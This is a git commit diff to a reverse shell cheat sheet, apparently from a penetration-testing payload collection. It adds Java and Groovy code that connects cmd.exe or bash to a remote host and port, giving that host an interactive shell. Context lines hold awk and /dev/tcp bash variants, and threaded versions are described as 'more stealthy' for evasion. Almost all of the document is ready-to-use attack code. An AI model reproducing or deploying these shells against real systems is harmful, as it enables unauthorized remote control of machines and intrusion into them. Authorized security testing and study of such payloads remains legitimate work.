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Updated Java & Groovy Shells

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Added threaded shells and alternative pure Java reverse shell
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socketz 2020-02-06 15:43:58 +01:00 committed by GitHub
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commit 056161fd9f
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1 changed files with 36 additions and 1 deletions
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37
Methodology and Resources/Reverse Shell Cheatsheet.md
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@ -18,10 +18,13 @@
* [Powershell](#powershell)
* [Awk](#awk)
* [Java](#java)
* [Java Alternative 1](#java-alternative-1)
* [Java Alternative 2](#java-alternative-2)
* [War](#war)
* [Lua](#lua)
* [NodeJS](#nodejs)
* [Groovy](#groovy)
* [Groovy Alternative 1](#groovy-alternative-1)
* [Meterpreter Shell](#meterpreter-shell)
* [Windows Staged reverse TCP](#windows-staged-reverse-tcp)
* [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp)
@ -190,6 +193,29 @@ awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |&
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
#### Java Alternative 1
```java
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Java Alternative 2
**NOTE**: This is more stealthy
```java
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();
```
### War
@ -250,13 +276,22 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
NOTE: Java reverse shell also work for Groovy
```javascript
```java
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Groovy Alternative 1
**NOTE**: This is more stealthy
```java
Thread.start {
// Reverse shell here
}
```
## Meterpreter Shell
### Windows Staged reverse TCP